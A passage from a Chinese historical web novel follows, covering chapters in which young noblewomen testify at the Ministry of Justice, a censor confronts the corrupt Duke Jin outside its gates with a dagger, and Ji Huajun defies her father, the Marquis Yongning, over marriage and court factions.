“齐月佳向来是这样,我打理安乐侯府的铺子时,她还常去铺子里找我麻烦,说我和不三不四的男人做生意,配不上她的世子堂兄。
她将我冷嘲热讽一番后,临走时,还要我送她两匹锦缎,她好回家帮我给齐轩说好话。”
孟蕊在为安乐侯府管理产业的那几年,被各种风言风语造谣批判,各种难听的话都听过。
许南音和赵雅娴在意的清誉名声,孟蕊早就无所谓了。
赵雅娴骤然抬起头,望向孟蕊。
“那你当时,送齐月佳锦缎了吗?”
第271章 到达刑部
“当然没有!”
孟蕊毫不迟疑,语气中带着几分愤然。
“普通锦缎尚且要十两银子一匹,齐月佳眼光高,看中的都是云锦之类的珍品,要几十两甚至上百两银子一匹,赚钱不易,我凭什么要送给她?”
“不送就对了,她好歹也是侯府小姐,怎么好意思找你要东西?”纪华筠对齐月佳更是不屑。
赵雅娴看向孟蕊的目光转深,“你那时也很不容易,齐月佳不配说你。”
她们都是京中高门闺秀,年纪相差不大,谁家有点风吹草动,互相都有所耳闻。
孟蕊从十四岁起,扛起安乐侯府的产业经营,为侯府赚钱,赵雅娴听闻后,颇为佩服孟蕊的能力。
但三人成虎,人云亦云,京中世家夫人和贵女之间,对孟蕊经商的评价,从来都是鄙夷嫌弃的,赵雅娴也不能免俗,还与其他贵女千金们笑说,齐世子定是会毁了与孟蕊的婚约。
如今看来,晋国公府中乱七八糟的人和事太多,倒是齐世子配不上孟蕊了。
“蕊儿……”许南音心疼地握住孟蕊的手,她最是知道孟蕊曾经的艰难。
“那才多大点事啊?也值得你难过?”
孟蕊回握住许南音的手。
“齐月佳出自晋国公府二房,她父亲没什么出息,没有官职,也不打理家业,完全依靠府中份例过活,齐月佳外在光鲜,实则日子过得紧巴。
她那时以为我在意和晋国公府世子齐轩的婚约,以此威胁我给她钱物,真是做梦!”
说到晋国公府,孟蕊想到与齐辕有牵连的许南音和赵雅娴,免不了想多提醒几句。
“其实,自从我了解晋国公府内的复杂情况后,就一点都不想嫁给齐轩了。
你们知道吗?晋国公府曾出现极大的亏空,齐轩的生母,已故的晋国公夫人,就在那时突然病逝。
然后,杜氏,也就是现在的晋国公夫人,不到一年就嫁了过去,她带来的巨额嫁妆,填补了晋国公府中亏空。
其中的缘由,你们自去细想便是。”
许南音一下便想明白了,惊讶得瞪大了眼。
“蕊儿你是说,前一个晋国公夫人,不是病逝,是被她……”夫家害死的?
许南音没有继续说下去,心中对齐辕那一点微末的少女怀春之情,也猝然消逝。
齐轩的生母,是晋国公的发妻,也是京中世家贵女出身,说害就害了,可见晋国公府的可怕,阖府上下,都是薄情寡义之徒。
赵雅娴也是第一次听到这件事,心中猛然一震。
她和齐辕本就没有感情,若真成了婚,齐辕不喜欢她,和他爹一样杀妻另娶……
赵雅娴甩了甩头,她才不要当那倒霉的冤大头呢!
纪华筠听得津津有味,尤嫌不够。
“蕊儿妹妹,你知道的真多,在多讲讲晋国公府的故事听听呀~”
自从纪华筠十岁回京后,她娘永宁侯夫人每日监督着她学习规矩礼仪、琴棋书画,出门做客也把她看得紧紧的,京中各府的那些好玩的事儿,她都没什么机会知道。
孟蕊无语地瞅了眼纪华筠,刚好听到外面车夫提醒,已经到达刑部。
“到了,有什么话,回去再说。”
孟蕊掀起马车门帘,第一个跳下马车。
她匆匆走到孟瑾身边,将关于齐辕的事,简略说了一遍。
孟瑾平静点头,宠溺地对孟蕊笑笑。
“别紧张,蕊儿,为兄能保护好你的朋友。”
听他这样说,孟蕊瞬间明了,“大哥,你是不是早就知道?”
“嗯,为了她们二人的闺誉着想,我不打算利用这两层关系。”孟瑾如实道。
他要对付的是晋国公府,并不想伤及无辜。
孟蕊明白了孟瑾的意思,回到马车边,小声提醒许南音和赵雅娴,不用在证词中提及关于齐辕的事。
之后,她们跟随孟瑾,一起走进刑部大门。
刑部侍郎郭宪,听到动静,从衙内迎出。
看到孟瑾带来的这么多人,和后面乌泱泱一片永宁侯府侍卫,郭宪不明所以,忙问孟瑾情况。
孟瑾将永宁侯府中发生的事,大略讲述了一遍,就忙着吩咐下属,带孟蕊和许南音等人去问话做记录。
安排好了这边,孟瑾又有条不紊地派人,去许家和晋国公府传话,请许御史和晋国公来刑部问话。
郭宪终于找到机会,和孟瑾单独说话。
“阿瑾啊,你做这些,会不会太心急了?”
郭宪拉着孟瑾,到了一处无人的角落,语重心长地说。
“晋国公就算被停职,他到底还是吏部侍郎,头顶上又有国公的爵位保着,你目前恐怕动不了他。”
“郭大人慎言,下官乃是依法办事,从未想过以权谋私。”孟瑾疏离慎重地说。
郭宪被孟瑾这话激得起了脾气,压低声音,直截了当道:
“我早就上了谢清源的贼船,我知道你想要做什么,也十分理解你的心情,但我们不久前才动了吏部的人,现在动晋国公,会引起他们的怀疑,那位也不会同意你如此鲁莽行事。”
“郭大人,下官想,您是误会了,我没说过要动晋国公。”
孟瑾眼神无辜,坦然与郭宪对视。
“这次案件,很大可能是晋国公府二房所为,那指使乐师的刘管事,和收买巧儿的丫鬟,都是晋国公府二房的人,二房的嫌疑最大。”
“是二房的人?”郭宪眼神怀疑。
晋国公府的二爷,是个混吃等死的废物,办了二房的人,有什么意义?孟瑾绝顶聪明,他会做无用功?
孟瑾对郭宪拱了拱手,“郭大人,许御史之前帮过咱们,他的千金许小姐被晋国公府报复,差点失了名节,此事咱们于情于理,都不可袖手旁观,您说呢?”
郭宪无奈叹出一口气,“你都接了这档子事儿,本官还能说什么?”
孟瑾淡笑着,对郭宪作揖一礼,又将今日发生的事件,详细地和郭宪说了一遍。
半个时辰后,所有人的问话,都已完成记录。
郭宪看着收上来的证词,觉得晋国公府这次的事,确实做得恶心。
朝堂争斗,是男人们的事,构陷女眷清白,算什么本事?
郭宪刚把证词看完,就听到下属着急忙慌地跑来禀报:
“大人,不好了,晋国公和许御史,他、他们在刑部门口吵起来了!”
第272章 暴躁御史
刑部大门外,许御史死命拉住想要走进刑部的晋国公。
他瘦削的身体,爆发出惊人的力量,硬是把晋国公身边的两个侍卫全都推开,将晋国公阻挡在刑部大门外。
对着围观的百姓们,许御史大声疾呼:
“大家看,这个人是晋国公,他在任吏部侍郎期间,包庇下属,肆意卖官,无能官吏只要献上足够多的银子,就能升迁!清正廉洁的好官,却被他们打压埋没!
那些无能的贪官上台,受苦受难的,都是我们普通的百姓啊!
大家说,他该不该死!”
越来越多的百姓,被许御史的话吸引,围到刑部门口。
几个先来的人,激愤地回应许御史的话,高声喊道:
“该死!害苦老百姓的贪官,都该死!”
“杀了晋国公!杀了狗官!”
……
孟蕊、许南音、纪华筠和赵雅娴四人,做完证词记录后,被孟瑾带着往外走,要送她们回府。
快要走到刑部大门时,就听到外面上演的闹剧。
孟瑾让她们暂时不要出去,自己则去喊人,并叫刑部侍郎郭宪前来处理。
看到大门外的情形,孟蕊四人神情各异。
许南音的焦虑和担心,都写在脸上。
她想要出去帮父亲许御史,但想到孟瑾的嘱咐,又怕自己出去会给父亲添麻烦。
孟蕊在她耳边小声安慰:
“南音,许伯父在朝为官多年,他既然选择这样做,定有他的道理,我们先看看情况,不要冲动行事。”
赵雅娴也附和着说:“我听我父亲说过,许御史刚直不阿,端方守正,在朝堂上谏言,连陛下都要让他两分,许小姐不必过分担忧。”
纪华筠没有说话,一味地盯着刑部大门外的许御史和晋国公,眼中跳动着惊奇和期待。
而刑部大门外的晋国公,已经脸色大变,对着许御史厉声道:
“许谦,你疯了!刑部已经查证,本官没有参与陆涛之案,从无包庇之说!”
“你有!”
许御史死死盯着他。
“你包庇了陆涛,还收受了好处,因为做得隐蔽,又提前抹除了证据,让刑部没有找到证据,逃脱了制裁!”
“你这个疯狗,本官懒得和你废话!”
晋国公铁青着脸,想要用力扒开许御史拉住他胳膊的手。
但许御史抓得很紧,晋国公怎么也扒不开,气急败坏地冲旁边缩手缩脚的侍卫大吼:
“你们都是死人呀?还不过来把他拖走!”
“不许过来!”
许御史对着晋国公府的两个侍卫喝道。
他突然从袖中抽出一把锋利的匕首,横在自己和晋国公之间。
晋国公吓得脸色煞白,不由放缓了语气,“许御史,你不要冲动,你杀了本官,你也没有活路。”
“活路?你们不也没想给我留活路吗?”
许御史咧开嘴,笑得渗人。
“御史的名誉是天大的事,你构陷我女儿的清白,要让我名誉扫地,让我再也没脸监察你们这些违法乱纪、破坏朝纲之徒,是也不是?”
晋国公看着许御史疯狂的样子,心惊胆颤,连忙安抚道:
“许御史,你不要激动,永宁侯府今日发生之事,我事前真不知情啊!
你我同在朝为官多年,你了解我,我怎么可能派人做出那等卑劣之事?”
这话,晋国公真没撒谎。
刘管事在铺子里被刑部的人抓走,陆氏和二房的人求到晋国公跟前,晋国公才知晓,家里那群蠢货,居然在永宁侯府做出构陷许南音清白的蠢事!
晋国公看着许御史手中锋利的匕首,想要后退,却被许御史强硬拉着,动也不敢动,生怕刺激到许御史直接动手了结了他。
刑部大门内的许南音,看到父亲拿刀的危险举动,已是按捺不住,想要出去阻止。
孟蕊拦住她,“别急,再等等,郭大人马上就来了。”
纪华筠目不转睛地盯着持刀的许御史,兴奋地说:
“我听说,三年前,太后娘娘想要修缮避暑行宫,以孝道逼迫陛下拿银子。
是许御史带着御史台的人,跪在慈宁宫外一天一夜,威胁要血洒慈宁宫外,以死劝谏,才让太后娘娘歇了心思。”
纪华筠拍了拍许南音的肩,语带敬佩。
“你父亲是做大事的人,以死相逼的事儿,他们御史很擅长的,你跑过去,还耽误你父亲发挥呢。”
话音刚落,刑部大门外的许御史,一手拿着匕首,一手抓着晋国公,对着越来越多的围观百姓,慷慨激昂地说:
“各位父老,我许谦,出身寒门,身负皇恩,科举入仕,为官十数载,践行御史监察之责,未敢有一日懈怠。
我敢对天发誓,晋国公徇私舞弊,收受贿赂,包庇下属违规提拔贪官污吏,企图动摇大齐国本,是为罪大恶极!
本官身为监察御史,检举晋国公之恶行,却因他们上下勾结,提前损毁证据,而让他逍遥法外。
晋国公企图毁我女儿闺誉,报复于我,逼迫我与他们同流合污,本官绝不妥协!
本官要求,彻查吏部!为民锄奸!”
周围人群中爆发激烈的回应,百姓们鼓掌声援,跟着许御史的话呐喊:
“绝不妥协!绝不妥协!”
“彻查吏部!彻查吏部!”
“杀了狗官!为民锄奸!”
……
刑部侍郎郭宪,带着人匆匆赶到的时候,刑部大门口,已经被百姓们围得水泄不通。
郭宪看向刑部门口手足无措的侍卫,没好气道:
“你们怎么还愣着?快去把晋国公和许御史请进来呀!”
刑部侍卫也很无奈,“郭大人,我们去劝过了,可是许御史手上有刀,他不愿意进来,一直要求刑部彻查吏部,咱们也做不了主啊……”
“什么?”郭宪一脸焦急,冲身侧的孟瑾发火,“你是不是早就想到了?”
孟瑾还是那副无辜的表情,“郭大人哪里话,下官怎么会想到,许御史看起来瘦瘦弱弱的一介文臣,他的脾气居然如此暴躁?”
“哼!”郭宪气得不想理孟瑾。
他转头吩咐侍卫加派人手,去疏散围观百姓,务必把晋国公和许御史,安全带进刑部。
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第273章 尽其所能
将晋国公和许御史带进刑部大门内,已经是大半个时辰之后的事。
因为许御史曝出的话太过震撼,刑部大门外围观的百姓驱赶不完,本要离开刑部各自回府的孟蕊等人,只能暂留刑部中,被安排在后衙的厢房休息。
纪华筠不安于被关在房中喝茶,打开门,想要去前面看许御史和晋国公吵架,被守在厢房门口的侍卫请了回来。
“好无聊啊。”
纪华筠不甘心地捧着脸,和其他人打商量。
“外面那两个侍卫我能放倒,咱们一起出去看热闹吧?”
“阿筠!”赵雅娴错愕地瞅着纪华筠,“你现在的言行,怎么和粗鲁凶恶的土匪一般?”
“土匪怎么了?我这次出去,见过真的土匪哦!”
纪华筠回味着过去半年在外游历的时光。
“其实土匪呢,不都是穷凶极恶的,他们有的身负冤屈,被坏人逼迫地成了土匪,还有的虽然是匪,但心有道义,山上的老少妇孺都指着他吃饭过日子,很不容易的。
反倒是一些表面光鲜的人,内里污浊不堪,令人憎恶,那个人模狗样的晋国公,说不定就是这种人。”
她看向愁容满面的许南音。
“许小姐,你别害怕,这件事闹大了,反而让你们许家更安全,外面还有那么多百姓支持许御史彻查吏部,晋国公府暂时不敢再对你们出手。”
许南音懊悔地叹气,“谢谢你,纪小姐,你救了我,我却给你惹来了麻烦,如果我今日谨慎小心一些,不信那个丫鬟的话,不去暖阁,或许这一切,都不会发生……”
“不是今天,也会有明天。”
孟蕊柔声打破许南音的幻想,肃然道。
“南音,晋国公府要对付你一个弱女子,有的是机会和恶毒手段,一味逃避,解决不了问题,许伯父的做法虽然激进,但很有用。
他撕破晋国公的薄弱点,以贪腐案为引,剑指整个吏部,激起群情愤怒。
他转移矛盾,扩大影响,众人关注的焦点,被集中在吏部徇私舞弊、晋国公报复许御史上,而不是一个弱女子,是否在今日失了名节……”
孟蕊语重心长地对许南音说。
“南音,你的父亲,在尽其所能保护你!
他那么勇敢,你也不能退缩。”
许南音微微发怔,然后坚定点头,“我明白了,我不会让父亲失望的。”
赵雅娴探究地看向孟蕊,“孟小姐对朝堂之事颇为了解,不知你如何看待许御史要求彻查吏部一事,晋国公真的有罪吗?”
“赵小姐说笑了,我哪里能懂朝堂之事?”
孟蕊自嘲地笑,对赵雅娴轻轻摆手。
“我只知道,公道自在人心,晋国公如果当真做了违法乱纪之事,他便该受到应有的惩罚,不是吗?”
赵雅娴回以一笑,没再多问。
两刻钟后,门上响起敲门声。
永宁侯府管家推门进来,对着纪华筠行礼。
“二小姐,老奴已和刑部做好安排,马车停在刑部后门,那里没什么人,您和几位小姐可以离开刑部了。”
“现在就要走啊?我还没听到判案的结果呢。”
纪华筠坐着不动,一点不想回家。
永宁侯府的管家,是跟随纪华筠过来方便刑部问话,同时也负责看住纪华筠,将她及时带回侯府。
“二小姐,老奴听说,前边讨论的案情重大,今日是出不了结果的,您留在这里也是无用,不如先回侯府,侯爷和夫人,都十分挂念您,日夜盼着您回家。”
纪华筠蹙了蹙眉,轻哼一声,“也行吧,总是要去见他们的。”
赵雅娴跟随纪华筠起身,两人准备和管家一起离开。
许南音起身相送,对她们福身一礼,“纪小姐,多谢你今日相救,我想留在这里,等我父亲一起回家,就不劳烦你送我了。”
孟蕊也道:“你们先回去吧,我陪南音一起等,之后和我大哥一起回府。”
纪华筠不舍地对孟蕊挥了挥手,“过几天有空,我去找你玩啊~”
她和孟蕊这半年一起游历江湖,几乎形影不离,骤然分别,纪华筠怪不习惯的。
孟蕊冲她笑笑,“好啊,随时欢迎。”
几人相互告别后,纪华筠和赵雅娴从刑部后门,乘坐永宁侯府的马车离开。
孟蕊陪着许南音在厢房等候,见许南音依然担心紧张,孟蕊挑了些江湖中的趣事,讲给许南音听。
约莫日落时分,厢房外终于再次传来动静。
孟蕊将门打开,便见孟瑾和许御史立在门外。
“大哥,许伯父,事情如何了?晋国公认罪了吗?”
许御史气哼哼地“呸”了一声,骂骂咧咧地说:
“人证物证俱全,晋国公那个老匹夫,还敢说他什么都不知道,把今日之事的过错,都推到了他二弟头上。
倒是晋国公府二房的那个丫鬟,反咬了晋国公夫人陆氏一口,说是陆氏指使她做的。
陆氏不认,在刑部大堂上撒泼打滚,和二房的人狗咬狗,吵得人头疼。
最后是那管事指认二房的证据确凿,可笑的是,他们还想和本官私了,我绝不会同意!
我现在接了南音,就回府写折子,这事必须上奏陛下,我明天一上朝,就要弹劾晋国公放纵家眷为祸作乱,大伤风化!”
许御史双手握拳,置于身侧,目光炯炯,斗志昂扬,鼻中喷出的怒气,将两撇胡子吹得一翘一翘的。
许南音扶住许御史瘦削的身体,担心地问:
“父亲,您这样穷追不舍,他们会不会又报复您?”
“大丈夫立身行道,为国为民,为父是对的,不必怕任何人!”
许御史正义凛然地说完,看到女儿担忧的模样,软了语气。
“南音,你今日受惊了,没有受伤吧?”
“没有。”许南音嗫嚅道。
孟蕊主动对许御史说:
“许伯父,您放心,南音刚进入暖阁,我和纪小姐就闯进去,把她救了出来,什么事都没发生,以后若有任何人敢质疑,我都可以为南音作证。”
孟蕊就怕许御史老古板一根筋,以为许南音失了名节,做出什么伤害许南音的事来。
许御史听了孟蕊的话,双眼微眯,以审视的目光看向她。
“我记得,你好长时间都不在京城,为何你们能到得那么及时,刚好把南音救下来呢?”
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第274章 一起回家
孟蕊与孟瑾对视一眼,从容道:
“因为今日是永宁侯夫人的生辰啊,我与纪小姐在回京的路上遇到,结伴同行,她要赶回京参加她母亲的生辰宴。
我们偷溜进永宁侯府,准备给永宁侯夫人一个惊喜,纪小姐提议去园子里等候永宁侯夫人,我们刚过去,就碰巧撞见了南音为人诱骗,进了暖阁。
一听到南音的呼救声,纪小姐就奔了过去,把门踹开,我跟在她后面进入暖阁,把南音救了出来,纪小姐嫉恶如仇,还将那歹人揍了一顿。”
孟蕊一脸真诚,熟练地说着准备好的言辞,将许御史糊弄了过去。
许御史点了点头,并未起疑,“纪二姑娘出身武将之家,义薄云天,仗义相助,待解决完手头之事,我定要带着南音上门道谢。”
随后,他又对着孟蕊作揖,“也要谢过孟三姑娘救下小女。”
“许伯父,您这是做什么?”
孟蕊连忙扶起许御史。
“我和南音是自小长大的情分,朋友之间,本就该互帮互助,您别和我客气。”
见孟蕊不受自己的礼,许御史也没有强求,他忙着回家写折子,与孟家兄妹告辞后,就带着许南音离开了刑部。
孟蕊和孟瑾一起将许御史父女,送到刑部大门外,看着他们坐上马车走远。
“好了,天色不早了,我们也回府吧。”
孟瑾自然地牵起孟蕊的手,带着她走到谢府的马车边,要扶着孟蕊上马车。
孟蕊后知后觉地感到,大哥牵着她的手很热,不自在地松开孟瑾的手。
“大哥,我现在武功进步了,自己就能上车,你看!”
孟蕊脚下轻点地面,便灵活地跳上了马车。
“嗯,蕊儿真厉害。”孟瑾笑着夸赞,跟在孟蕊后面坐进马车中。
马车上,孟蕊还在想着许南音的事,不禁担忧地问孟瑾:
“大哥,今天闹成这样,刑部也只是将晋国公府的刘管事,和齐月佳的丫鬟下了狱,真正的始作俑者,我们就没办法惩罚他们吗?”
晋国公府的人若是聪明,就不会在这个风口浪尖再惹事,但孟蕊还是会怕,晋国公府中的蠢人坏事。
“别着急,这事还没有完。”
孟瑾温润如玉的容颜上,泛起一丝淡淡的冷笑。
“刘管家揽下了所有罪责,声称是为晋国公抱不平,自己去找了那乐师行此毒计,齐月佳的丫鬟,也是他收买的。
但齐月佳的丫鬟反水,指证是晋国公夫人指使,这里倒是有许多文章可做,咱们且再看看。”
“嗯。”孟蕊憋闷地垂下眸子。
她之前就有所预想,今天这件事,很难把晋国公府的主子们拉下马,但真正得到这个结果时,依然会觉得不甘心。
明明真相已经很清楚,就是晋国公夫人和齐月佳做的,晋国公府二房也有参与,晋国公就算不知情,也会是他没管好家眷,导致夫人和侄女作恶,也该罚!
“别为了那等小人生气,看,我给你带了什么?”
孟瑾从马车的置物小柜中,拿出来一盒糕点,放到孟蕊眼前。
糕点的香甜气息袭来,孟蕊一抬眼,就看到了她最喜欢吃的栗子糕。
“栗子糕?什么时候买的?”
“不是买的,是府里人做的。”
孟瑾拿起一个栗子糕,放在孟蕊手里。
“快尝尝,看你能不能猜出是谁做的?”
孟蕊心中积着事儿,本没有胃口,但香喷喷的栗子糕就在手中,她总不好浪费。
拿起咬了一口,孟蕊顿感栗子浓郁的香气在口中弥漫,口感绵密丝滑,甜而不腻,是她吃过最好吃的栗子糕。
“好好吃!”
孟蕊几口吃完一块,又主动去拿下一块。
“别急,慢慢吃,先喝口水,别噎着。”
孟瑾又从柜子里拿出茶壶,给孟蕊倒上热茶,温柔提醒。
“你未吃午膳,现在吃几块糕点垫垫肚子,别吃太多,一会儿到家,就能用晚膳了。”
“嗯嗯,谢谢大哥,这个栗子糕真的好吃,是府中新来的厨娘做的?”
孟蕊喝了一口茶,笑着问。
问完,她又觉得不太对,定是她认识的人做的,大哥才会让她猜。
“这个味道,有点像翠柳做的,可是她做的,没这么好吃。”
孟瑾提起茶壶,又给孟蕊的茶杯续上,淡笑道:
“翠柳要是听到你这样说她,也不知会不会高兴。”
“真是翠柳做的?”孟蕊双眸迸发惊喜,“她现在厨艺见长啊。”
“翠柳很好学,跟着府中厨娘,把本事学了个遍,李管家见她格外喜欢做糕点,又请了专门的糕点师傅,来府中教她。”
孟瑾说到这里,不禁失笑。
“翠柳糕点做得好,李管家每天吃着,都胖了一圈,他们还商量着,要给翠柳开家糕饼铺子,等你回来做决定。”
孟蕊听着,突感鼻子一酸,有种孩子终于长大,要离开母亲的不舍。
她一直都希望翠柳有自己的追求和生活,这一世不要只围着她转。
所以半年前去孟家堡,孟蕊没有带翠柳一起,临走时还特地去拜托了李管家,让他多照顾翠柳,多教翠柳一些谋生技能。
现在这种结果,孟蕊既高兴欣慰,又感觉心里空落落的。
“开糕饼铺子,很好啊,她有想做的事,自己决定就好,不用问我的。”
孟蕊吸了吸鼻子,将手中的栗子糕一口吃掉,心绪逐渐平稳。
“不过做生意,我的经验要丰富一些,可以先带带翠柳,等她完全上手,我就不再管。”
说话间,马车已经到达谢府大门外。
孟瑾和孟蕊下了马车,便看到早已等候在门口的李管家和翠柳等人。
一阵马蹄声传来,孟蕊看到谢清源和孟瑜,各自骑着马,几乎同时到达。
“爹爹,二哥!”
和父兄家人团聚的喜悦,让孟蕊分外高兴。
一家人欢喜地走进家门,吃上了丰盛的团圆饭。
而另一边,永宁侯府的气氛,就没有谢府这么和谐了。
纪华筠一回府,就被永宁侯派来的人,请到了祠堂。
“跪下!”
永宁侯厉声喝道。
纪华筠靠着祠堂门柱站着,双手抱臂,一动不动。
“爹,你让我跪祠堂?敢问女儿犯了何错,要受此责罚?”
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第275章 两面三刀
“逆女!当着祖宗牌位,你还不知错?”
永宁侯一马鞭甩过来,擦着纪华筠的发丝,狠狠打在地上。
纪华筠眼睛都没眨一下,撇撇嘴,淡定道:
“正是因为当着祖宗牌位,我敢说,我没有错!也不需要知错!”
永宁侯看着倔强的女儿,手中的马鞭就要再次扬起。
“侯爷息怒!”
永宁侯夫人及时赶到,扑到永宁侯身上,抓住他扬鞭的手。
“华筠还小,又是女子,有什么话,你好好和她说,何必要动手呢?”
“夫人!她已经十七岁,不是不知事的小儿了!”
永宁侯指着纪华筠,恨铁不成钢地说。
“你在这样纵容下去,她迟早要给我们家惹来祸事!”
永宁侯夫人紧紧抱着永宁侯的手,扭头对纪华筠使眼色。
“华筠,快!给你父亲认错。”
她以为纪华筠不知道永宁侯生气的事,着急地提醒。
“今日我和你父亲不让你跟着许南音去刑部,可你偏要去,现在许御史把事情闹大了,咱们家说不定也要被卷入纷争,你确实不该去!”
纪华筠歪了歪头,从容不迫地反驳:
“娘,事情是在咱们府上发生的,咱们家早就被卷进去了,和我去不去刑部,有什么关系?左右今日晋国公府,都计划把我们家,拉入三皇子的阵营。”
“你说什么?”永宁侯表情一滞,“晋国公府想要做什么?你再说一遍。”
纪华筠环顾四周,祠堂外侍立的下人们,都低头恭顺地站着,她依然不满意地问永宁侯:
“爹,您确定要在这么多人面前,说这些秘事?”
涉及夺嫡,永宁侯不敢马虎,挥了挥手,让外面所有人都退下,又让侍卫守住外面的院门,不许放任何人进来。
很快祠堂中只剩永宁侯夫妇,以及纪华筠三人。
“你最好不是在唬我。”
永宁侯瞪着纪华筠,眼中闪动着怒意。
“你刚才说,晋国公府要把我们永宁侯府,拉入三皇子的阵营,但晋国公做吏部侍郎多年,一直在曹尚书手下做事,也一直支持有曹家血脉的二皇子。”
纪华筠正色道:“从表面看,是这样,但雅娴告诉我,她父亲要给她和晋国公的庶长子齐辕定亲,就是为了搭上三皇子的线,这也是经过雅娴的舅舅,京兆府尹崔怀远,确认过的消息,不会有错。”
永宁侯很快想通了关键,恨恨道:
“晋国公那个老匹夫,竟当面一套背后一套!”
永宁侯夫人却听得云里雾里,“华筠,你把为娘说糊涂了,雅娴和齐辕确实有意定亲,可是这和三皇子有什么关系?”
“娘,您想想,您平日与晋国公夫人并不亲厚,也没什么来往,为何今日生辰宴,会邀请她来参加?”纪华筠问。
永宁侯夫人想了想道:“邀请名单是我和你父亲一起拟定的,邀请晋国公夫人,是因为晋国公在曹尚书手下办事……”
“这就是了,父亲这些年,与曹家走得近,自然想要与同阵营的晋国公府打好关系。”
纪华筠对她爹的那些心思,看得明明白白,语气中隐含着一丝不屑。
“可惜啊,父亲您被骗了,晋国公的心,比您还要大,他表面站在曹家和二皇子一边,私下还与三皇子一派有联系,最后谁上位,他都能立于不败之地。”
“怎么会这样?”永宁侯夫人终于明白过来,吃了一惊。
“娘您现在才想通吗?今日你若为了维护晋国公夫人,压下他们构陷许南音清白之恶,一朝事发,我们家才是真要招来祸端!”
纪华筠挺胸抬头,对永宁侯夫人扬了扬下巴。
“所以我今日一定要跟去刑部,弄清楚里面那些弯弯绕绕,好将探听到的实情告知你们啊。”
永宁侯冷哼一声,“这么说,我还要谢谢你。”
“不用客气的,爹,都是女儿应该做的。”纪华筠咧嘴笑得得意。
“少给我来这套!”
永宁侯依然拿着马鞭指着纪华筠,但语气已经缓和了不少。
“我问你,你今天怎么就那么巧,刚好闯进暖阁,把许南音救了出来?你是不是早就知道她会出事?”
纪华筠蹙了蹙眉,“爹,您也太瞧得起我了,我要是知道许南音会出事,提前就把那乐师抓了,还由得他在娘的生辰宴上作恶?”
“你真的没有提前知道些什么?”永宁侯表示怀疑。
纪华筠咬死不知,“我真的什么都不知道,今天回来,就是为了给娘一个惊喜的。”
纪华筠凑到永宁侯夫人身边装乖。
永宁侯夫人点了点纪华筠的额头,没好气地说:
“你啊,一跑就是半年,我担心得都没睡一个好觉,往后可不许再如此任性了,过完年,二皇子就要选妃,你也好准备着。”
纪华筠一听二皇子选妃,一蹦三尺高,连连后退,瞪着永宁侯夫人,拔高了声音问:
“不是吧?你们还想让我嫁给二皇子啊?是不是疯了!”
纪华筠双手叉腰,气性一起,扭头抗拒。
“要嫁你们自己去嫁,我才不喜欢那个窝囊色鬼。”
“纪华筠!”永宁侯连名带姓地呵斥,“你胡说什么!”
“我说得还不够清楚吗?”
纪华筠回头瞪向永宁侯。
“我不喜欢二皇子,也不想嫁入皇家,我要自由自在地生活,你们谁都不能阻止!”
永宁侯被气得够呛,大喝道:“我是你爹!在家从父,你要听我的!”
“我知道你是我爹,但你是错的,我凭什么要听你的?”
纪华筠的火气也上来了,和永宁侯对着吵起来。
“你现在已经利欲熏心,一天到晚就知道算计着夺嫡那点事,想要把我嫁到皇家,扶持二皇子登基,你好当国丈嘛,你这么喜欢权势,不如自己造反当皇帝算了!”
“逆女,闭嘴!”
听到纪华筠说出大逆不道的话,永宁侯脸色铁青,手中马鞭直直抽向纪华筠。
“啪!”
马鞭没有抽在纪华筠身上,反被纪华筠一手抓住,拽在手里。
“爹,你这些年精于算计,疏于武艺,连你的鞭子,都变得如此无力!”
纪华筠挑衅地对永宁侯挑了挑眉。
“咱们去外面打一场怎么样?我要是赢了,你们以后都不得干预我的婚事!”
第276章 来摊牌的
永宁侯气急败坏地试图抽回马鞭,但纪华筠手握得紧,力气又大,永宁侯根本抽不动。
“混账!松手!”
“我就不松!你能怎样?”
纪华筠和永宁侯杠上了,她在江湖上走了一遭,武功大有提升,是真想试试看,能不能打得过父亲。
“爹,您就说您同不同意和我比武吧?男子汉大丈夫,别娘们唧唧的!”
一旁的永宁侯夫人,呆呆看着父女俩对峙,不敢相信自己的眼睛和耳朵。
“华筠,你怎么能这样和你父亲说话?你忘记为娘从小对你的教导了吗?”
纪华筠皱着眉头看向永宁侯夫人,“娘,您带着您的那些女则女戒,离我远点儿,我现在相信的,只有我自己的拳头!”
永宁侯夫人一听,用手捂着头,半闭着眼,身形虚弱地晃了晃。
“华筠,我的头好晕,快来扶我一下。”
纪华筠一眼看穿,“娘,您别装了,我下午在您身边时,探过您的脉,康健有力,你才不会突然头晕呢。”
永宁侯夫人装不下去,睁开眼,看向纪华筠,“你什么时候学会的把脉?”
“就在这半年闯荡江湖的时候啊,我跟蕊儿妹妹学的。”
纪华筠颇为自豪地说。
“我这一路,学会了好多东西,我觉得我自己,真是太厉害了,我就该早早离开你们,说不定我早就成叱咤江湖的大侠了!”
“你还想离开家?跑出去当大侠?”
永宁侯扯不过马鞭,索性把马鞭甩在地上,怒气冲冲地朝纪华筠走去。
“纪华筠,你是永宁侯府嫡女,肩负着永宁侯府的兴旺,你究竟明不明白你的责任?”
纪华筠站着不动,气势汹汹地摩拳擦掌,“是家族的责任,还是为了成全您的野心?爹,您自己分得清吗?”
她已经准备好,要与父亲大打出手,以武力分出胜负,赢取自己的自由。
但永宁侯,却突然停下,愕然失色地望着纪华筠。
“你觉得,我做这一切,全是为了自己的野心?”
永宁侯神情仿若受伤,对纪华筠质问道。
“华筠,你不是小孩子了,当明白如今永宁侯府的难处,我们处在高位,身不由己,如逆水行舟,不进则退!你明不明白!”
“我当然明白。”纪华筠平静地回答,“爹你是怕改朝换代,把您给换下去,您当不了兵部尚书,甚至当不了永宁侯,所有想要从龙之功,保住永宁侯府和您自己的地位,对吗?”
永宁侯神情紧绷,紧紧盯着纪华筠,嘴唇抿成一条线,并没有反驳她的话。
纪华筠深吸一口气,继续说道:
“爹,您觉得,您能坐上兵部尚书的位置,是因为什么?
您觉得,您已经是兵部尚书了,为何二叔和兄长,还能领兵镇守南境?陛下为何如此信任纪家?”
“自然是因为纪家世代忠良,深得陛下信重……”永宁侯脱口而出,随即顿住,脸色惊变。
纪华筠讽刺地看着他。
“是啊,爹,陛下信任纪家,才会保留纪家的兵权,又提拔您做兵部尚书。
上一次皇权变更时,我们纪家,是没有参与夺嫡的,甚至都不在京城。
那时您在做什么?还记得吗?”
十六年前,京城大乱,南境的南照人,趁火打劫,发起战事。
镇守南境的纪家军,在没有任何后援的情况下,整整打了一年多的仗,守卫边关,将南照人死死拦在国境线之外。
那时多苦啊!
朝廷一团乱,无暇顾及南境战事,不但没有后援,更没有军需粮草。
